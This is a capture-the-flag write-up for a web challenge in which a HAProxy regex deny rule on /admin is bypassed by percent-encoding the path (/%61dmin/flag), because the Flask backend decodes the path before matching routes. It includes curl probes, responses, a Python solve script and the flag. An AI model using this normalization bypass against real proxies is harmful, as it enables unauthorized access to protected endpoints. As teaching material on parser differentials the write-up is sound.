Category: Web Exploitation
Flag: EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}
Challenge Description
The proxy thinks it’s in control. The backend thinks it’s safe. Find the space between their lies and slip through.
Analysis
I started by pulling the handout contents and immediately saw that this challenge gave both sides of the stack: HAProxy config and backend Flask code. That usually means the intended bug is a parser differential, not brute-force fuzzing.
unzip -l "handout.zip"Archive: handout.zip
Length Date Time Name
--------- ---------- ----- ----
513 02-27-2026 22:45 handout/backend/app.py
438 02-28-2026 00:48 handout/haproxy/haproxy.cfg
277 02-27-2026 20:07 handout/docker-compose.yml
...To confirm the exact mismatch, I extracted the blocking rule and the protected backend route in one shot. The critical values were ^/+admin on the proxy and /admin/flag on Flask. That combination means HAProxy blocks only literal paths matching the regex, while the backend route match happens after URL decoding.
rg -n "restricted_path|/admin/flag" "/home/rei/Downloads/handout/haproxy/haproxy.cfg" "/home/rei/Downloads/handout/backend/app.py"/home/rei/Downloads/handout/backend/app.py:19:@app.route('/admin/flag', methods=['GET', 'POST'])
/home/rei/Downloads/handout/haproxy/haproxy.cfg:16: acl restricted_path path -m reg ^/+admin
/home/rei/Downloads/handout/haproxy/haproxy.cfg:17: http-request deny if restricted_pathI verified baseline behavior first: direct access to /admin/flag is denied by HAProxy with a clean 403, so the block is definitely active at the edge.
curl -i -s "http://chall.ehax.in:9098/admin/flag"HTTP/1.0 403 Forbidden
...
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>Once that was confirmed, the bypass was the smallest canonicalization probe: encode the first a in admin as %61 and keep the rest untouched. HAProxy sees /%61dmin/flag (doesn’t match ^/+admin), forwards it, Flask decodes it to /admin/flag, and the protected handler returns the flag.

curl -i -s --path-as-is "http://chall.ehax.in:9098/%61dmin/flag"HTTP/1.1 200 OK
Server: gunicorn
...
EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}This was a clean proxy/backend normalization mismatch: deny rule evaluated pre-decode, route matched post-decode.
Solution
# solve.py
import re
import requests
url = "http://chall.ehax.in:9098/%61dmin/flag"
response = requests.get(url, timeout=10)
print(response.text, end="")
match = re.search(r"EH4X\{[^}]+\}", response.text)
if match:
print(f"\nFlag: {match.group(0)}")curl -i -s --path-as-is "http://chall.ehax.in:9098/%61dmin/flag"HTTP/1.1 200 OK
Server: gunicorn
Date: Fri, 27 Feb 2026 22:07:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52
EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}